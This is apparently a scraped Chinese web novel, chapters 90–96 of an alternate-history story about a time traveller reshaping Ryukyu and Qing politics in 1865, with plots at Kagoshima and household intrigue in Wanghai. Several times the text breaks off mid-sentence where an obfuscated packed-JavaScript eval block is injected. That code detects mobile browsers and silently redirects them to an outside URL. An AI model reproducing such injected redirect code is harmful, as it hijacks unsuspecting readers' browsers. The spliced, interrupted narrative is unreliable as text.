两人正说着,一阵急促的脚步声传来。一个仆人气喘吁吁地跑来:“先生,樱之宿那边出事了!” 陈逸风脸色一变:“怎么回事?” “有几个新兵喝醉了酒,在街上**。”仆人低着头,“打伤了几个日本商人。” “混账东西!”陈逸风怒道,“我平日是怎么教导的?给我把人带过来!” 很快,几个醉醺醺的新兵被押了过来。他们身上还带着酒气,衣衫凌乱,显然是刚从酒馆里拖出来的。 陈逸风冷冷地看着他们:“知道错在哪吗?” “宰、宰相大人...”一个新兵结结巴巴地说,酒意还未完全消散,“我们就是喝多了...” “啪!” 清脆的耳光声在山道上回荡。陈逸风一巴掌抽在说话的新兵脸上,力道之大,让对方踉跄着后退了好几步。 “军人以服从命令为天职,以保护百姓为己任!”陈逸风的声音里带着寒意,“你们今天的所作所为,配当兵吗?” 几个新兵吓得跪在地上,酒意瞬间消散了大半。 “都给我去跑圈,什么时候酒醒了再回来!” 看着新兵们踉踉跄跄地跑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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那场战争结束后,他立刻委托洋人商船分两路行动:一路前往北京寻找美国公使司空澜,另一路则让迈克·卡内基返回北美,借助家族关系与林肯总统建立联系。 “这一步棋,走得够险。”陈逸风轻声自语,手指无意识地敲击着窗框。 第九十一章 望海,新纪元的曙光 对于林肯这样一个道德洁癖的**家,承诺就是必须要履行的誓言。但现在的问题是,这位美国总统似乎并不急于兑现诺言。 陈逸风眼中闪过一丝寒意【你以为我只有这一张牌吗?】 工业园区的商业合同吸引力,以及与美国教会日益紧密的关系,这两张王牌足以让任何政客都要慎重考虑。更何况,美国内战后百废待兴,急需海外订单支撑经济复苏。 “林肯啊林肯...”陈逸风的声音带着几分玩味,“你到底在顾虑什么?” 夜色愈发深沉,海浪拍打礁石的声音清晰可闻。陈逸风的思绪开始纷乱,各种可能性在脑海中交织。 私恩、道德、利益,他已经给足了筹码。如果这样林肯还不同意,那就别怪他不讲规矩了。 与此同时,太平洋上一艘疾翼船正破浪前行。 甲板上,洛根正捧着一叠素描画入神。海风吹乱了他的金发,但他浑然不觉,全部注意力都集中在那些栩栩如生的战争场景上。 “这些都是你亲眼所见?”洛根抬头看向身旁的迈克,声音里带着难以掩饰的兴奋。 迈克靠在船舷上,望着远处的海平线:“是的,那场仗打得太惨烈了。” “我从未见过如此激烈的巷战。”迈克的声音有些沙哑,“日本浪人悍不畏死,平民在街道上四处逃窜,到处都是血和火。” 洛根翻到一张特写素描,那是陈逸风**冲锋的场景。画面中的年轻人神情坚毅,眼神中透着令人心悸的决绝。 “这个瞬间最让我震撼。”迈克指着素描说道,“当时码头**,火光冲天。所有人都以为他**,但他却在硝烟中杀出一条血路。” 洛根小心翼翼地将素描收好:“所以总统才派我来接触他。这样的人物,值得我们付出最大的诚意。” “你知道吗?”迈克突然笑了,“我申请了驻华武官的职位。虽然还没获得正式任命,但总统已经允许我暂代了。” “真的?”洛根眼前一亮,“那太好了!我也准备去中国开拓市场,咱们可以一起行动。” 迈克拍了拍洛根的肩膀:“而且陈逸风欠我人情,有他罩着,咱们在中国绝对能玩得开心。” 就在两个年轻人畅想未来时,鹿儿岛的天守阁内正上演着另一幕悲壮场景。 烛光摇曳中,桦山栗源跪在岛津云望面前。他的面容憔悴,眼中布满血丝,手中紧握的心影刃反射着冰冷的寒光。 “让我以死谢罪。”桦山栗源的声音嘶哑,泪水不断滑落,“我丢尽了岛津家的脸面,已无颜独活。临终前想再瞻仰主上圣颜,足矣。” 岛津云望没有立即回答,而是与岛津久光交换了一个眼神。两位岛津家的掌权者随后齐齐向坂本龙马施礼。 “坂本君,这次真是让您受累了。”岛津云望的语气中带着歉意。 坂本龙马连忙摇头:“大人言重了。是在下无能,不但没能为岛津家谋得利益,反而损失惨重。” “利益得失本就是相对的。”岛津久光突然笑了,声音中透着深意,“岛津家能在九州屹立四百年,靠的就是开放进取之心。**些人是小事,认识了一位奇人,这才是大事。” 岛津云望接过话头:“正是。世界潮流,皆由英才推动。区区数千贱民,何足道哉?现在我们已与陈逸风建立联系,这未尝不是一个新的机遇。” 坂本龙马敏锐地捕捉到了两位主君的暗示,立刻拱手道:“既然大人有此觉悟,坂本龙马斗胆献策。” “请讲。” 坂本龙马深吸一口气,开始娓娓道来:“首先,我们必须接受琉球已失的事实。但这不重要,因为随着西方航海技术的发展,那霸港的地位早已今非昔比。” “其次,陈逸风正在组建异族营,这是天赐良机。我们可以派出岛津家最优秀的剑士,以野剑士身份加入,学习新军的先进之处。” 说到这里,坂本龙马的眼神愈发锐利:“第三,望海的十所免费学校,尤其是两所军校,都是难得的机会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15482275|170045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。我们应该选派聪慧子弟前去就读,为将来储备人才。” “最后,要让岛津家的商人积极融入望海的商业体系。我预感那里很快就会引入西式工厂,成为亚洲工业化的先驱。” 坂本龙马突然一拳砸在榻榻米上,声音中带着激动:“这是千载难逢的机会!与其剖腹谢罪,不如将这份耻辱化作动力,重新开始!” 他的话如同惊雷般震撼了在场所有人。 桦山栗源伏地痛哭,岛津家主则双眼放光:“工业化...那就是西方列强的终极秘密吗?恐怖到让神魔都胆寒的威能...” “但陈逸风会接受我们吗?”岛津久光提出疑问,眉头紧锁,“我们的意图他一定能看穿。” “他会的。”坂本龙马的语气坚定,“他能在战后组建以日本剑士为主的异族营,就说明了他的胸襟。他在战场上如修罗,战后却又如菩萨。这样的人物...” 坂本龙马望向南方,声音变得幽远:“他身上有一种特质,一种令人战栗的特质。那是...” 一阵冷风突然吹过天守阁,所有人都不由得打了个寒颤。 而此时的陈逸风正在睡梦中翻身,嘴里还在嘟囔着:“凤女...富察瑜音...给本大爷露个笑脸...” 远处的海浪依旧在拍打着礁石,月光洒在波光粼粼的海面上,仿佛在预示着什么。 1865年的亚洲,依旧沉浸在传统的桎梏之中。 西方列强虽不断展示实力,却始终无法撼动这片古老大地根深蒂固的传统势力。变革的种子,仅仅存在于少数人的心中。 陈逸风就是那个打破常规的人。 在他的搅局下,原本注定灭国的琉球,竟成了亚洲现代化的急先锋。这个被称为“万国津梁”的弹丸之地,正在他的带领下,迎来工业化的曙光。 清晨的阳光洒在那霸城的街道上,工人们已经开始了一天的忙碌。街道两旁,各种现代化的建筑拔地而起,蒸汽机的轰鸣声不绝于耳。 第九十二章 夜校惊变 陈逸风站在高处的露台上,望着这片繁忙的景象。他的目光落在远处的港口,一艘艘商船正在装卸货物,黑烟从轮船的烟囱中缓缓升起。 “大人。”管家轻声走到他身后,“第一批从欧洲请来的教师已经到港了。” 陈逸风接过管家递来的名册,快速浏览着上面的内容。名册上详细记录着每位教师的专业背景和教学经验,这些都是他精心挑选的人才。 “让他们先休息两天。”他合上名册,“另外,通知所有本地儒生,后天上午在大堂集合。” 管家欲言又止:“大人,那些儒生...” “我知道他们不情愿。”陈逸风转身,眼中闪过一丝锐利,“但这是必经之路,琉球要想生存下去,就必须改变。” 夜幕降临,陈逸风走进了位于城中心的夜校。教室里挤满了各行各业的百姓,有渔民、商贩,甚至还有几个年过半百的老者。 “今天我们来学习一个新的词汇。”他拿起粉笔,在黑板上写下“Progress”这个单词。 “这个词的意思是进步、发展。”他转身面对学生们,“就像我们现在做的事情一样。” 台下传来细碎的议论声,有人在认真记录,有人则皱着眉头努力记忆。一个年轻的渔民举手提问:“先生,为什么我们要学这些洋文?” 陈逸风放下粉笔,目光扫过教室里每一张认真的脸:“因为世界在变化,我们必须跟上这个变化。否则,就会被时代抛弃。” 与琉球的蓬勃发展形成鲜明对比的是,望海的工业特区正陷入困境。 楚三爷坐在衙门大堂内,面前堆积如山的信件让他头疼不已。一份份投诉、一封封告状,几乎要将他淹没。 “大人。”梁掌柜推门而入,脸上带着几分忧虑,“又有几家商铺关门了。” 楚三爷揉了揉太阳穴:“怎么回事?” “都说是生意做不下去了。”梁掌柜叹气道,“那些地主散布谣言,说工业特区会破坏风水,很多人都不敢来了。” “这些人...”楚三爷握紧拳头,却又无可奈何,“他们就是不明白,这些改变对大清意味着什么。” 正说着,外面传来一阵喧哗。一名衙役慌慌张张地跑进来:“大人,又有人来**了!说是要拆了那些洋机器!” 楚三爷站起身,脸色阴沉。这已经是这个月第三次了。那些士绅地主,仗着自己有功名在身,处处与他作对。 “梁掌柜,你说我是不是太心急了?”他苦笑着问道。 梁掌柜摇摇头:“三爷,您做得对。只是这些人,眼界太窄,只顾着自己的一亩三分地。” 就在这时,一名信使匆匆跑进来:“大人,陈先生派人送来消息,说他半月内就能回来。” 听到这个消息,楚三爷的表情更加复杂了。这段时间,京城里到处都在传,说他是用自己的姐姐换来了陈逸风的计策。这个谣言甚至传到了望海的菜农耳中。 “梁掌柜。”他沉声道,“你先回去吧,我要好好想想对策了。” 夜深了,望海衙门的灯火依旧明亮。楚三爷独自坐在大堂里,面前摆着一封来自姐姐富察瑜音的信。 信中说,太后已让富察氏老管家慕四带着一群侍女入驻了陈逸风的府邸。这个老狐狸,显然是想把陈逸风牢牢绑在富察氏。 月光透过窗户洒进来,照在他疲惫的脸上。这一刻,他忽然明白了,为什么陈逸风会选择在琉球大展拳脚,而不是留在望海。 在这片土地上,想要做成一件事,远比他想象的要困难得多。 就在这时,外面又传来一阵骚动。 “大人!”一名衙役冲进来,“城南的纺织厂起火了!” 楚三爷猛地站起身:“怎么回事?” “有人说看见几个穿着儒服的人在附近鬼鬼祟祟的。”衙役喘着粗气道。 “备马!”楚三爷大喊,“立刻去现场!” 火光冲天,照亮了半边夜空。楚三爷策马赶到时,纺织厂已经被大火吞噬。工人们正在奋力救火,但收效甚微。 就在这时,人群中突然传来一阵骚动。有人高喊:“抓到纵火 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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而在遥远的琉球,陈逸风正站在学堂里,教导着一群渴望知识的学生。或许,这才是变革最该开始的地方。 寒风凛冽的清晨,望海城内一处宅院里,几个打扮精致的丫鬟正围在一间偏院门前叽叽喳喳。院中的梅树上积着薄霜,寒气逼人。 “慕管家都发话了,今天各房都要打扫,就你这儿还清净着,真当自己是什么贵人了?”为首的丫鬟撇着嘴,眼神里满是轻蔑。她身上穿着簇新的绫罗绸缎,举手投足间带着几分刻意的矜持。 “可不是,一个商人家的女儿,就因为早认识老爷几天,真把自己当根葱了。”另一个丫鬟附和道,手里摆弄着腰间的香囊,不时发出轻笑。 “也不掂量掂量自己几斤几两,攀高枝也得看看有那个本事没有。”第三个丫鬟冷哼一声,眼角微微上挑,透着几分轻视。 偏院的窗户微微晃动,能听到里面传来压抑的啜泣声。这处宅院原本是岳举人的私宅,在望海大乱后被明月商行以“成本价”买下,成了陈逸风的私宅。虽然陈逸风至今未曾住过,但修缮工作一直在进行,如今已焕然一新。 院中的假山上爬满了常青藤,几只麻雀在枝头跳跃,发出清脆的鸣叫。庭院深处,一口古井边的石板上还残留着晨露,在晨光中闪烁着微光。 一个月前,凤女便率先搬了进来。她将这里当做自己的家,精心布置每一处细节。正房的床帏是她亲手缝制的,绣着精美的牡丹花;书房的字画是她托人从京城买来的,都是名家手笔;就连厨房的摆设,也是她一一安排妥当。她甚至还为富察瑜音预留了一间上房,房内陈设讲究,处处彰显着主人的用心。 对于富察瑜音与陈逸风的关系,凤女心知肚明。在传统文化熏陶下长大的她,对三妻四妾这种事早已**以为常。况且,她与富察瑜音交情不错,是真心把对方当做姐妹。两人常常坐在一起说笑,谈论京城的趣事,畅想未来的生活。 然而事情的发展却出乎她的意料。 一个月前,一群从北京来的下人突然闯入她的生活。为首的是个名叫慕四的干瘦老头,面容枯槁,眼神却格外锐利。他表面笑脸相迎,背地里却处处与她作对。那双浑浊的眼睛里,总是闪烁着算计的光芒。 以装修为由,慕四将凤女从正房赶到偏僻的厢房。这厢房曾是岳举人最不得宠的小妾住处,墙角斑驳,门窗破败。房梁上还挂着蜘蛛网,地板踩上去吱呀作响,夜里经常有老鼠在墙壁间窸窸窣窣。 当凤女想要理论时,慕四只说了一句话就让她哑口无言:“小姐,这可是太后同意的,就连您父亲梁掌柜也没二话。咱们都是为了老爷着想不是?”说这话时,他的嘴角挂着若有若无的笑意,眼神中却透着一丝威胁。 凤女气得满脸通红,当晚就去找父亲理论。梁镳的铺子就在附近,此时已经打烊,只剩下几盏昏黄的灯笼在风中摇曳。 “闺女啊,”梁镳长叹一声,手中的烟袋锅敲打着桌面,发出沉闷的响声,“以后宅子里的开销,都得从通商行直接给慕四。就这几十口人,每月居然敢要这么多钱...” “爹!这不是疯了吗?”凤女惊呼,声音里带着颤抖,“我当家时一个月才用多少!这些人是来享福的还是来吃空饷的?” 梁镳苦笑着摇了摇头,眼角的皱纹更深了:“现在不同了。京城都传开了,陈逸风是太后钦定的满洲姑爷,富察瑜音必是大房。慕四是富察氏的老仆,伺候姑爷是理所应当...” 他停顿了一下,压低声音道:“那些女人,都是太后挑的陪房。说是要送陈先生一座瑶华园。闺女,想把你踢出局呢!” 凤女这才明白,富察瑜音根本不是什么知心姐姐,而是想要独占陈逸风的心机女人。那些温柔的笑容,亲密的交谈,都是假象。想到这里,她的心如同被刀割一般疼痛。 但倔强的凤女岂是轻易认输的性子?除非陈逸风亲自开口,否则谁也别想赶走她。 此时的凤女还不知道,这些所谓的陪房其实另有玄机。这些女人都是从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15482277|170045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 教坊司挑选出来的,背后有朝廷的意思。她们不仅要监视陈逸风,更要用脂粉香软将其驯服。每个人都经过精心挑选,或善歌舞,或通诗书,各有所长。 慕四的气焰越来越嚣张,竟然开始指使凤女干活。这不,一大早就派人来逼她打扫房子。那些丫鬟仗着有人撑腰,说话越发不客气。 就在几个丫鬟叽叽喳喳之际,突然“哗”的一声,一盆冷水从门内泼出。寒冷的水珠在空中划出一道弧线,准确无误地浇在了几个丫鬟身上。 “啊!”几个丫鬟惊叫连连,身上的衣裳顷刻间湿透,贴在身上瑟瑟发抖。 阿艳提着铜盆,脸上带着得意的笑容,指着她们怒骂:“一群教坊司出来的野丫头,也敢来欺负我家小姐?看我不教训教训你们!” 转眼间,五个花季少女扭打成一团。发簪散落一地,衣裳被撕扯得凌乱不堪。很快,整个宅院都被惊动了。内宅的丫鬟们分成两派,有人拉架,有人煽风点火,场面一度失控。 外院的小厮们趴在墙头看热闹,不时发出起哄声。有人甚至开始打赌,赌哪一方能赢。 这时,慕四披着貉子皮大氅匆匆赶来,他的脸色阴沉得可怕:“反了天了!给我把这些不懂规矩的贱婢都绑起来!” 几个粗壮的婆子冲上前,第一个就制住了阿艳。她们的动作粗暴,毫不怜惜,仿佛对付的是什么死敌。 “凭什么只抓我们?”阿艳拼命挣扎,脸上带着**的泪水,“你们不公道!她们先来挑衅的!” 慕四冷笑,眼中闪过一丝阴狠:“公道?老爷的屋里人也是你能动手的?你这贱婢,把人家脸都挠花了,你赔得起吗?” “等着瞧吧!”阿艳咬牙切齿,眼中闪烁着愤怒的火花,“要是孙忠义大哥他们在就好了,随便一个都能收拾你!” 慕四心里一紧,他听说过陈逸风手下确实有一群亡命之徒。那些人都是跟着陈逸风出生入死的好手,个个身怀绝技。想到这里,他的额头不禁渗出冷汗。 第九十四章 归途风云 就在这时,凤女披着一件黑色衣裳走了出来。她的脸色苍白,但眼神坚定,浑身散发着一种不容侵犯的气势。 “都给我住手!”她环视四周,声音清冷而坚定,“现在这宅子里我说了算,放开她们!” “你算什么东西?”慕四跳起来,声音尖利,“一个没名没分的女人,能住在这就是天大的福分了!” 凤女冷笑,解开外衣,露出一件奇服:“就凭我陪老爷出生入死,就凭我身上这件衣服!” 凤女身上的那件衣服,正是陈逸风穿越时带来的登山服,除了体己之人,很少有人知道。陈逸风走后,她每天都会拿出细心擦拭,生怕落下一丝灰尘。 “这衣服,确实是稀罕物件。”慕四爷捋着山羊胡,眼中闪过贪婪,“不过,梁小姐还是要想清楚,这府上究竟谁说了算。” 凤女下意识攥紧了衣襟,她能感受到周围下人们投来的异样目光,有轻蔑,有嘲讽,更多的是看热闹的兴奋。 “放开我!”阿艳挣扎着喊道,“等老爷回来,看你们怎么交代!” 慕四不紧不慢地踱着步子,声音里带着若有若无的嘲弄:“梁小姐何必动这么大火气?跟我一个下人计较,您也掉身份不是?” 他突然停下脚步,目光如刀般锋利:“不过说来说去,您在这府上到底是个什么身份呢?老爷给过您什么名分吗?” 这句话像一把锋利的**,直直刺入凤女心口。她的脸色瞬间变得煞白,双手微微发抖。 记忆如潮水般涌来,那些欲言又止的夜晚,那些含蓄暗示却被巧妙避开的时刻,都在此刻变得格外清晰。 慕四爷正了正神色:“不过既然小姐有老爷的信物,想必也算个红颜知己。不过我要跟您说个事,我家姑奶奶可是太后钦定的。在老爷和姑奶奶没到之前,这府上还得听我的。” 说罢,让人放了阿艳后,甩袖而去。 午饭迟了整整两个时辰才送来。阿艳打开食盒,只见一碗清水煮白菜,两个发硬的冷馒头。菜叶上飘着几点油星,像是在嘲笑她们的处境。 “我去找他们理论!”阿艳气得直跺脚,眼圈都红了。 凤女拉住她的手,强颜欢笑:“白菜挺好,前些日子吃的有些发胖了,正好可以变得清瘦些等先生回来。”说着咬了一口馒头,泪水却不受控制地往下掉。 馒头又冷又硬,像是嚼蜡一般。凤女却执拗地一口一口咽下去,仿佛要用这种方式证明什么。 下午,凤女想去通商行找父亲,被门房拦在门内。那个平日里对她毕恭毕敬的老张,此刻竟面无表情地说:“梁小姐若要出门,得先把这件衣服留下。谁知道是不是偷的呢?” “做梦!”凤女咬牙切齿,“就算死,这衣服也得跟我进棺材!” 从此,凤女开始了软禁生活。她和阿艳自己生火做饭,打水烧饭,一个人活得挺滋润。院子里的杂草渐渐疯长,曾经精心打理的花圃也慢慢荒芜。 慕四倒也不敢把事做绝,基本的米粮还是按时送来。他原想逼凤女知难而退,却低估了这个女人的倔强。每天清晨,凤女都会准时起床,坐在院子里发呆。 这天夜里,慕四搂着新勾搭的厨娘兰姑娘,云雨方歇。屋内弥漫着劣质脂粉的味道,混合着汗水的气息,令人作呕。 “你就不怕老爷回来找你算账?”兰姑娘娇喘吁吁地问,手指在慕四胸口画着圈。 慕四冷笑一声:“你懂什么?看门狗为什么要对陌生人叫?不过是向主人表忠心罢了。真想咬人的狗从不叫唤。” 他点燃一支劣质香烟,烟雾在昏暗的灯光下缭绕:“咱们做奴才的也一样,得替主子分忧。把凤女赶走了,姑奶奶心里能不高兴?” 兰姑娘听得入神,眼中闪过一丝精明:“你怎么这么会伺候主子?” 慕四得意地拍了拍她的臀部:“这算什么本事?九门城里比我高明的多了去了。”他凑到兰姑娘耳边,压低声音:“桌上那包药面,你找机会撒在凤女的饭里。” “这是要害**吗?”兰姑娘吓得直摇头, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15482278|170045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸上血色尽失。 “蠢货!”慕四突然暴怒,一把揪住兰姑娘的头发,“只是让她绝了生育。她要是生不出孩子,等着瞧她咋讨好!” 兰姑娘还想推辞,慕四突然暴起,将她拖到地上,拳打脚踢。房间里回荡着皮肉相接的闷响和女人的哭声。 “**,你敢不听话?” “别打了!我听话,我都听你的......”兰姑娘蜷缩在地上,像条被踢的野狗。 慕四这才住手,慢条斯理地整理衣襟:“桌上抽屉里有两根金簪子赏你。等事成了,再给你两个玉镯子。” 他蹲下身,捏住兰姑娘的下巴:“记住,伺候好主子,你才能当别人的主子。今天我能打你,明天你也能打你的奴才......” 黑暗中,慕四的话如同毒蛇般钻进兰姑娘的耳朵。渐渐地,她不哭了,眼中闪过一丝异样的光芒。 很快,屋内又响起了暧昧的声音。窗外,一轮残月挂在天边,像一把锋利的镰刀,冷冷地注视着这座府邸里上演的龌龊戏码。 次日清晨,凤女照例坐在院子里。阿艳端着早饭走来,欲言又止。凤女看了看碗里的稀粥,笑了笑:“吃吧,总比饿死强。” 她不知道的是,此刻兰姑娘正躲在厨房的角落,看着那包药面,手在微微发抖。而慕四则坐在书房里,悠闲地品着茶,仿佛在等待一场好戏上演。 府邸的上空,乌云渐渐**。一场风暴,正在酝酿。 而此时的紫禁城内,一场暗流涌动的较量正在上演。 同治帝的寝宫里,远虎正跪在地上,详细解释着从陈逸风那里学来的洋人知识。 “远虎,你说那铁路当真能日行千里?”同治帝兴致勃勃地问道。 “回皇上的话,确实如此。”远虎强忍着伤痛,继续说道,“那铁轨铺得笔直,火车在上面奔驰,比千里马还要快上百倍。” “有趣,当真有趣。”同治帝眼中闪烁着光芒,“朕听说洋人还有许多新奇玩意,你且细细说来。” 第九十五章 满清贵族的阳谋 远虎一边讲解,一边暗暗观察着皇帝的神色。这些天他虽然因为顶撞总管太监受了责罚,但反倒因此得到了皇帝的赏识。 “奴才该死,让皇上操心了。”远虎恭敬地说道。 同治帝摆摆手:“不必多礼。朕已经和母后说好了,你养好伤就来做朕的伴读太监。琼器阁的差事也继续干着。” 远虎连忙叩头谢恩。 与此同时,翁同龢的书房内,一群雅流官员正在密谋着对付陈逸风的计策。 “诸位不必惊慌。”翁同龢捋着胡须,沉声说道,“太后此举不过是要制衡我们罢了。等陈逸风从琉球回来,他代替朝廷谈判的事就是我们的突破口。” “一个无功名的平民,也敢代表大清?这可是死罪!”有人愤愤不平地说道。 “就是要等这个机会。”翁同龢冷笑一声,“现在,我们静观其变。” 烛火摇曳,映照着众人阴晴不定的脸色。书房内的气氛凝重而压抑。 “大人,那陈逸风在民间颇有声望,若贸然动手...”一个年轻官员欲言又止。 “哼,民间声望?”翁同龢不屑地说道,“他不过是仗着太后的宠信,才能在朝堂上横行霸道。等时机成熟,自然有人收拾他。” 就在众人密谋之时,宫中的某个角落里,远虎正在借着微弱的烛光,默默记录着今天从同治帝那里听来的朝廷动向。这些信息,或许会成为未来改变大清命运的关键。 各方势力蠢蠢欲动,一场足以改变大清命运的较量即将展开。而这一切的开端,都要从陈逸风在琉球的这场谈判说起。这个特殊的时代,每个人都在为自己的信念而战,无论是守旧派还是革新派,都在等待着最后的结果。 秋日的黄海泛着淡淡的青黑色,海浪拍打着船舷,发出规律的声响。一艘洁白的疾翼船正乘风破浪,朝望海港疾驰而去。远处的海鸥盘旋着,偶尔发出几声清脆的鸣叫。 船头上,陈逸风静静地望着远方,任由海风吹拂着衣袍。他的目光穿透层层迷雾,仿佛要看到更远的地方。衣袍被海风吹得猎猎作响,却掩盖不住他眉宇间的凝重。 “这片海域,比起琉球那边可安静多了。”陈逸风轻声自语。 身后传来沉稳的脚步声,孟明蛇端着一杯热茶走了过来。“先生,喝点茶暖暖身子。这海风凉,当心着凉。” 陈逸风接过茶杯,却没有立即饮用。他望着杯中泛起的涟漪,突然开口:“孟明蛇,你说我这次回国,会不会死在京城?” 孟明蛇的手猛地一颤,茶水溅在甲板上。他的眼中闪过一丝凌厉,声音低沉而坚定:“先生放心,谁敢动手我就剁他的手,谁敢动歪心思我就砍他的脑袋。琉球一战,我们可不是白打的。” “琉球一战...”陈逸风轻声重复着这个词,陷入回忆中。那一战确实改变了太多,不仅仅是他们的命运,更是整个东亚的格局。 “把兄弟们都叫来吧。”陈逸风放下茶杯,“有些事情得提前说清楚。” 很快,十几个心腹**在船头。这些人都是跟随陈逸风出生入死的兄弟,从最初的市井混混,到如今的亡命之徒。每个人的眼神中都带着坚定和忠诚。 “诸位兄弟。”陈逸风环视一周,“咱们这次回京,局势比在琉球还要复杂。” “先生,有什么好怕的?”一个身材魁梧的汉子插嘴道,“在琉球,咱们连岛津家的精锐都打趴下了。京城那些文人墨客,还不是一个个...” “住口!”孟明蛇厉声喝止,“让先生说完。” 陈逸风摆摆手:“黑岳说得也不算错。但京城的水,比琉球那边深多了。现在的局势其实很简单:两个盟友,两个明面上的敌人,再加上两个藏在暗处的对手。至于其他人,都是些无关紧要的角色。” “先生,什么叫无关紧要?”一个年轻兄弟好奇地问道。 “就是打酱油的,不用管他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15482279|170045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”陈逸风笑着解释,随即正色道,“现在最麻烦的是京城那帮雅流。他们已经串联好了,就等着我回去。到时候肯定是满城风雨,雪片般的奏折能把紫禁城给淹了。” “那些西洋列强呢?”孟明蛇皱眉问道。 陈逸风摇摇头:“他们现在对我们构不成威胁。欧洲那边局势紧张,他们的目光都盯着那里。只要不影响他们的商业利益,谁会在乎一个小小的琉球闹什么动静。” “倒是日本那边...”陈逸风顿了顿,“永安幕府已经坐不住了。他们派出两拨使者,一队去琉球,一队来大清。结果琉球那边连面都见不着,大清这边更是被各种应付。这些使者被气得七窍生烟,却又无可奈何。” 说到这里,陈逸风的表情变得凝重起来:“但最让我头疼的,是满清贵族那边的手段。” “怎么了?”兄弟们齐声追问。 “他们打算用美人计安插眼线。”陈逸风苦笑道,“我在望海的宅子里已经被塞进去一批教坊司的女人了。” “哈哈哈!”兄弟们顿时哄笑起来,“大人这是艳福不浅啊!” 陈逸风没有接话,眼神中闪过忧虑。这是满清贵族的阳谋,既想用他的才能,又怕他做大。与其明着打压,不如用温柔乡困住他。 “还有一个最大的变数。”陈逸风望向远方,“就是曾国藩兄弟为首的澧军集团。” 提到这个名字,所有人都安静下来。湘军,这个庞然大物现在对他们是什么态度,谁也说不清楚。 “七爷曾国荃虽然每次见我都笑脸相迎,还在望海帮过我们。但湘军势力盘根错节,不是一两个人能说了算的。” 就在这时,瞭望台上传来水手的喊声:“大人,望海港已经望得见了!” 众人齐齐望向前方,远处的海岸线渐渐清晰。码头上已经**了不少人,显然是在等待他们的到来。 陈逸风眯起眼睛,仔细打量着那些人影。 第九十六章 二曾师徒三人密会 寒风萧瑟,书房门外的李鸿章已经站了许久。 他的手搭在门框上,几次想要推门而入,却又缩了回来。这种犹豫不决的态度,与他平日里雷厉风行的作风大相径庭。 檀香袅袅,穿过门缝飘散开来。李鸿章知道,这是老师最爱用的宁心香,据说是从西域商人手中购得,价值千金。 “吱呀”一声,门突然从里面打开了。 “少荃,进来吧。” 曾国藩的声音平和中带着几分疲惫,这让李鸿章心中一紧。自从平定太平天国以来,老师便很少露出这般疲态。 书房内,曾国藩正在品一杯极品大红袍。茶香四溢,沁人心脾。案几上的茶具一应俱全,青花瓷茶盏中的茶水还在冒着热气。 “老师。”李鸿章恭敬行礼。 “坐吧。”曾国藩示意他在对面的圈椅上坐下,“你我师徒一场,不必如此拘谨。” 李鸿章刚要开口询问召见缘由,却见曾国藩突然话锋一转:“少荃觉得我们湘军未来该如何?” 这个问题来得太突然,让李鸿章一时语塞。 “我湘军乃大清强军,剿灭长毛,平定捻军,未来自当继续为朝廷效力...”李鸿章的声音越说越小,最后几乎成了自言自语。 曾国藩端起茶盏,轻轻抿了一口:“少荃,你可知为何捻军能在北方横行十余载而不倒?” 李鸿章浑身一震。捻军不过是一群乌合之众,既无粮草,又无军械,更无根据地可守。与声势浩大的太平天国相比,简直不值一提。 可就是这样一支军队,却让八旗名将僧阿端沁都折戟沉沙。其中缘由,李鸿章岂会不知? 